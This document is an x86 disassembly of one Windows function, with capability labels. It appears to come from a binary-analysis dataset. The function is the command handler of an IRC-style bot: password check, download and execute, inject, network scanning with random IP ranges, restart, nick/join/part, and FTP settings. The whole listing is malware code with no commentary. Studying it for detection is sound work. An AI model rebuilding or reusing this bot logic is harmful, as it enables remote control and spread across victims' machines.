Function at 0x4063cd
Capabilities:
Create process on windows
Create thread
Get common file path
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x978
push esi
and dword [ebp - 0x288], 0
and dword [ebp - 0x284], 0
and dword [ebp - 0x290], 0
and dword [ebp - 0x28c], 0
push 0x4154d4
push dword [ebp + 0xc]
call fcn.0040af50
pop ecx
pop ecx
mov ecx, dword [ebp - 0x288]
mov dword [ebp + ecx*4 - 0x80], eax
mov eax, dword [ebp - 0x288]
cmp dword [ebp + eax*4 - 0x80], 0
je 0x40644b
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x20
jbe 0x406431
jmp 0x40644b
push 0x4154d8
push 0
call fcn.0040af50
pop ecx
pop ecx
mov ecx, dword [ebp - 0x288]
mov dword [ebp + ecx*4 - 0x80], eax
jmp 0x40640c
cmp dword [ebp - 0x80], 0
jne 0x406459
push 1
pop eax
jmp 0x4074ef
mov dword [ebp - 0x288], 1
mov eax, dword [ebp - 0x288]
cmp dword [ebp + eax*4 - 0x80], 0
je 0x4064b0
push 0x4154dc
mov eax, dword [ebp - 0x288]
push dword [ebp + eax*4 - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x4064a1
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x28c], 1
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
jmp 0x406463
push 0x4154e0
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406742
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x7c], 0
jne 0x4064dc
push 1
pop eax
jmp 0x4074ef
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
push 0x80
lea eax, [ebp - 0x310]
push eax
call fcn.0040a3af
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x310]
push eax
call fcn.004087e3
pop ecx
pop ecx
push str.099af53f601532dbd31e0ea99ffdeb64
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x406539
call fcn.00409216
push 0xfffffffffffffffe
pop eax
jmp 0x4074ef
push str.4b4f2ac1277bad81c7c7bffd4c8e02d6
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40673a
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x78], 0
je 0x40673a
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x74], 0
je 0x40673a
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x78]
push 0x4154e4
push 0x100
lea eax, [ebp - 0x628]
push eax
call fcn.0040a3af
add esp, 0x14
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x70], 0
je 0x406615
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x6c], 0
je 0x406615
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x70]
push str._s:_s
push 0x104
lea eax, [ebp - 0x528]
push eax
call fcn.0040a3af
add esp, 0x14
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x68]
call fcn.0040ac77
pop ecx
test eax, eax
je 0x406613
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x68]
call fcn.0040ac77
pop ecx
mov dword [ebp - 0x31c], eax
jmp 0x40667d
lea eax, [ebp - 0x730]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
push 0
call fcn.00408d25
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x730]
push eax
push str._s_s.exe
push 0x104
lea eax, [ebp - 0x528]
push eax
call fcn.0040a3af
add esp, 0x14
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x70]
call fcn.0040ac77
pop ecx
test eax, eax
je 0x40667d
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x70]
call fcn.0040ac77
pop ecx
mov dword [ebp - 0x31c], eax
push dword [ebp + 8]
push 0x100
lea eax, [ebp - 0x424]
push eax
call fcn.0040a3af
add esp, 0xc
and dword [ebp - 0x320], 0
mov eax, dword [0x416900]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x318], eax
push 5
call fcn.00408fb8
pop ecx
mov dword [ebp - 0x324], eax
lea eax, [ebp - 0x290]
push eax
push 0
lea eax, [ebp - 0x62c]
push eax
push 0x4048bc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x324]
imul ecx, ecx, 0xc
mov dword [ecx + 0x41690c], eax
cmp dword [ebp - 0x314], 0
jne 0x406701
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4066ee
mov eax, dword [ebp - 0x324]
imul eax, eax, 0xc
cmp dword [eax + 0x41690c], 0
jne 0x406732
cmp dword [ebp - 0x28c], 0
jne 0x406732
push str.Failed_to_start_dl_thread.
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push 1
pop eax
jmp 0x4074ef
push 0x41551c
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x40677c
cmp dword [ebp - 0x28c], 0
jne 0x406774
push 0x4152dc
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.commands
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x4067b6
cmp dword [ebp - 0x28c], 0
jne 0x4067ae
push 0x415348
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.inject
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x4067fe
push 0
push 0x402807
call fcn.004096de
pop ecx
pop ecx
cmp dword [ebp - 0x28c], 0
jne 0x4067f6
push 0x415324
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.disconnect
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406877
push 0x4151bc
call fcn.004054c9
pop ecx
push eax
push str._s_:disconnecting_r_n
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x10
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x280]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
push 0xfffffffffffffffe
pop eax
jmp 0x4074ef
push str.reconnect
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x4068f0
push 0x4151bc
call fcn.004054c9
pop ecx
push eax
push 0x415560
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x10
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x280]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
push 0xfffffffffffffffd
pop eax
jmp 0x4074ef
push str.reconnect.next
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406969
push 0x4151bc
call fcn.004054c9
pop ecx
push eax
push str._s_r_n
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x10
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x280]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
push 0xfffffffffffffffc
pop eax
jmp 0x4074ef
push str.nick
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406a38
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x7c], 0
je 0x4069be
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
push 0x4151a4
call fcn.004054c9
pop ecx
push eax
push 0x415588
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x4069f7
push dword [0x416900]
push dword [0x415154]
call fcn.00408d25
pop ecx
pop ecx
push eax
push 0x4151a4
call fcn.004054c9
pop ecx
push eax
push 0x415590
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x14
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x280]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.restart
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406b24
push 0x104
lea eax, [ebp - 0x878]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x10
push 0
lea eax, [ebp - 0x888]
push eax
call fcn.00409ce0
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x774]
push eax
call fcn.00409ce0
add esp, 0xc
mov dword [ebp - 0x768], 0x418160
mov dword [ebp - 0x774], 0x44
mov dword [ebp - 0x748], 1
and word [ebp - 0x744], 0
lea eax, [ebp - 0x888]
push eax
lea eax, [ebp - 0x774]
push eax
push 0
push 0
push 0x28
push 0
push 0
push 0
lea eax, [ebp - 0x878]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 1
jne 0x406afd
push dword [ebp - 0x888]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x884]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffffe
pop eax
jmp 0x4074ef
cmp dword [ebp - 0x28c], 0
jne 0x406b1c
push str.Failed.
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.vncstop
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406be4
and dword [ebp - 0x88c], 0
push 3
call fcn.00408ffa
pop ecx
mov esi, eax
push 4
call fcn.00408ffa
pop ecx
add esi, eax
mov dword [ebp - 0x88c], esi
cmp dword [ebp - 0x88c], 0
jle 0x406bbd
push dword [ebp - 0x88c]
push 0x4155b0
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x10
cmp dword [ebp - 0x28c], 0
jne 0x406ba5
lea eax, [ebp - 0x280]
push eax
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
jmp 0x406bdc
cmp dword [ebp - 0x28c], 0
jne 0x406bdc
push 0x4155cc
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.patch
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406c81
call fcn.00409111
test eax, eax
jne 0x406c0c
push 1
pop eax
jmp 0x4074ef
mov eax, dword [0x416900]
mov dword [ebp - 0x89c], eax
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x894], eax
and dword [ebp - 0x890], 0
push 6
call fcn.00408fb8
pop ecx
mov dword [ebp - 0x898], eax
lea eax, [ebp - 0x290]
push eax
push 0
lea eax, [ebp - 0x89c]
push eax
push 0x4019ef
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x898]
imul ecx, ecx, 0xc
mov dword [ecx + 0x41690c], eax
cmp dword [ebp - 0x890], 0
jne 0x406c79
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406c66
push 1
pop eax
jmp 0x4074ef
push str.cftp
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406d06
push str.run.exe
push 0x41812c
push 0x41810c
push dword [0x415100]
push 0x4150e0
push 0x4155f8
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x20
cmp dword [ebp - 0x28c], 0
jne 0x406ce8
lea eax, [ebp - 0x280]
push eax
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x7c], 0
jne 0x406d1b
push 1
pop eax
jmp 0x4074ef
push str.join
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406dea
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x78], 0
je 0x406d7a
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x78]
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
push 0x4151ac
call fcn.004054c9
pop ecx
push eax
push str._s__s__s_r_n
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x18
jmp 0x406da9
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
push 0x4151ac
call fcn.004054c9
pop ecx
push eax
push 0x415640
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x14
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x280]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.part
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x406e6d
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
push 0x4151b4
call fcn.004054c9
pop ecx
push eax
push str._s__s_r_n
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x14
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x280]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
push 0
lea eax, [ebp - 0x280]
push eax
call fcn.00409ce0
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x78], 0
jne 0x406e82
push 1
pop eax
jmp 0x4074ef
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x74], 0
jne 0x406e97
push 1
pop eax
jmp 0x4074ef
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x70], 0
jne 0x406eac
push 1
pop eax
jmp 0x4074ef
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x6c], 0
jne 0x406ec1
push 1
pop eax
jmp 0x4074ef
push str.scan
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x40745b
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
call fcn.0040ac77
pop ecx
test eax, eax
jne 0x406ef4
push 1
pop eax
jmp 0x4074ef
push 4
call fcn.004090d3
pop ecx
test eax, eax
je 0x406f27
cmp dword [ebp - 0x28c], 0
jne 0x406f1f
push 0x415660
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
call fcn.0040ac77
pop ecx
cmp eax, 0x80
jle 0x406f65
cmp dword [ebp - 0x28c], 0
jne 0x406f5d
push 0x415684
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040a387
pop ecx
push 8
call fcn.004090d3
pop ecx
test eax, eax
jne 0x406ff8
call fcn.0040a391
cdq
mov ecx, 0xc350
idiv ecx
add edx, 0x2710
mov dword [0x4168f8], edx
mov eax, dword [0x416900]
mov dword [ebp - 0x968], eax
and dword [ebp - 0x960], 0
push 8
call fcn.00408fb8
pop ecx
mov dword [ebp - 0x964], eax
lea eax, [ebp - 0x290]
push eax
push 0
lea eax, [ebp - 0x968]
push eax
push 0x404c90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x964]
imul ecx, ecx, 0xc
mov dword [ecx + 0x41690c], eax
cmp dword [ebp - 0x960], 0
jne 0x406ff8
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406fe5
and dword [ebp - 0x8a0], 0
and dword [ebp - 0x8a4], 0
and dword [ebp - 0x8a8], 0
and dword [ebp - 0x95c], 0
lea eax, [ebp - 0x95c]
push eax
lea eax, [ebp - 0x8a8]
push eax
lea eax, [ebp - 0x8a4]
push eax
lea eax, [ebp - 0x8a0]
push eax
push 0x4156a4
push dword [0x416900]
call fcn.00408f2f
pop ecx
push eax
call fcn.0040a86c
add esp, 0x18
mov eax, dword [0x416900]
mov dword [ebp - 0x958], eax
push dword [ebp + 8]
push 0x80
lea eax, [ebp - 0x944]
push eax
call fcn.0040a3af
add esp, 0xc
mov eax, dword [ebp - 0x28c]
mov dword [ebp - 0x8b0], eax
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
call fcn.0040ac77
pop ecx
mov dword [ebp - 0x8c4], eax
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x78]
call fcn.0040ac77
pop ecx
mov dword [ebp - 0x8c0], eax
and dword [ebp - 0x8b4], 0
push 0x4156b0
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x74]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x407119
cmp dword [ebp - 0x8c0], 0
jne 0x4070f2
push dword [ebp - 0x8a4]
push dword [ebp - 0x8a0]
push 0x4156b4
push 0x10
lea eax, [ebp - 0x954]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x407114
push dword [ebp - 0x8a4]
push dword [ebp - 0x8a0]
push 0x4156c0
push 0x10
lea eax, [ebp - 0x954]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x4071af
push 0x4156cc
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x74]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x407194
cmp dword [ebp - 0x8c0], 0
jne 0x407168
call fcn.0040a391
cdq
mov ecx, 0x100
idiv ecx
push edx
push dword [ebp - 0x8a0]
push 0x4156d0
push 0x10
lea eax, [ebp - 0x954]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x407192
call fcn.0040a391
cdq
mov ecx, 0x100
idiv ecx
push edx
push dword [ebp - 0x8a0]
push str._d._d.x.x
push 0x10
lea eax, [ebp - 0x954]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x4071af
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x74]
push 0x10
lea eax, [ebp - 0x954]
push eax
call fcn.0040a3af
add esp, 0xc
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x70]
call fcn.0040ac77
pop ecx
mov dword [ebp - 0x8b8], eax
push dword [0x416900]
call fcn.00408f2f
pop ecx
push eax
call fcn.00409160
pop ecx
test eax, eax
je 0x4072ce
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x6c]
call fcn.0040ac77
pop ecx
test eax, eax
jle 0x4071fe
mov dword [ebp - 0x8b4], 1
mov eax, dword [ebp - 0x284]
cmp dword [ebp + eax*4 - 0x68], 0
je 0x4072cc
push 0x4156e8
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x68]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
je 0x4072cc
cmp dword [ebp - 0x8c0], 0
jne 0x4072b1
and dword [ebp - 0x96c], 0
and dword [ebp - 0x970], 0
and dword [ebp - 0x974], 0
and dword [ebp - 0x978], 0
lea eax, [ebp - 0x978]
push eax
lea eax, [ebp - 0x974]
push eax
lea eax, [ebp - 0x970]
push eax
lea eax, [ebp - 0x96c]
push eax
push 0x4156ec
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x68]
call fcn.0040a86c
add esp, 0x18
call fcn.0040a391
cdq
mov ecx, 0x100
idiv ecx
push edx
push dword [ebp - 0x96c]
push str._d._d.0.0
push 0x10
lea eax, [ebp - 0x954]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x4072cc
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x68]
push 0x10
lea eax, [ebp - 0x954]
push eax
call fcn.0040a3af
add esp, 0xc
jmp 0x4072ed
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x6c]
call fcn.0040ac77
pop ecx
cmp eax, 2
jne 0x4072ed
mov dword [ebp - 0x8b4], 1
and dword [ebp - 0x8ac], 0
push 3
call fcn.00408fb8
pop ecx
mov dword [ebp - 0x8bc], eax
cmp dword [ebp - 0x8bc], 0xffffffff
jne 0x407332
cmp dword [ebp - 0x28c], 0
jne 0x40732a
push str.Too_many_threads.
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
lea eax, [ebp - 0x290]
push eax
push 0
lea eax, [ebp - 0x958]
push eax
push 0x402b6c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x8bc]
imul ecx, ecx, 0xc
mov dword [ecx + 0x41690c], eax
cmp dword [ebp - 0x8ac], 0
jne 0x407373
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x407360
mov eax, dword [ebp - 0x8bc]
imul eax, eax, 0xc
cmp dword [eax + 0x41690c], 0
je 0x407419
cmp dword [ebp - 0x8b8], 3
jne 0x4073ba
push dword [ebp - 0x8c4]
lea eax, [ebp - 0x954]
push eax
push 0x415718
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x407417
cmp dword [ebp - 0x8b4], 0
je 0x4073eb
push dword [ebp - 0x8c4]
lea eax, [ebp - 0x954]
push eax
push 0x415740
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x14
jmp 0x407417
push dword [0x4168f8]
push dword [ebp - 0x8c4]
lea eax, [ebp - 0x954]
push eax
push 0x415768
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0x18
jmp 0x407432
push 0x415790
push 0x200
lea eax, [ebp - 0x280]
push eax
call fcn.0040a3af
add esp, 0xc
cmp dword [ebp - 0x28c], 0
jne 0x407453
lea eax, [ebp - 0x280]
push eax
push dword [ebp + 8]
push dword [0x416900]
call fcn.004074f2
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push str.setcftp
push dword [ebp - 0x80]
call fcn.0040ac90
pop ecx
pop ecx
test eax, eax
jne 0x4074ec
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x7c]
push 0x20
push 0x4150e0
call fcn.0040a3af
add esp, 0xc
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x78]
call fcn.0040ac77
pop ecx
mov dword [0x415100], eax
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x74]
push 0x20
push 0x41810c
call fcn.0040a3af
add esp, 0xc
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x70]
push 0x20
push 0x41812c
call fcn.0040a3af
add esp, 0xc
mov eax, dword [ebp - 0x284]
push dword [ebp + eax*4 - 0x6c]
push 0x20
push str.run.exe
call fcn.0040a3af
add esp, 0xc
push 1
pop eax
jmp 0x4074ef
push 1
pop eax
pop esi
leave
ret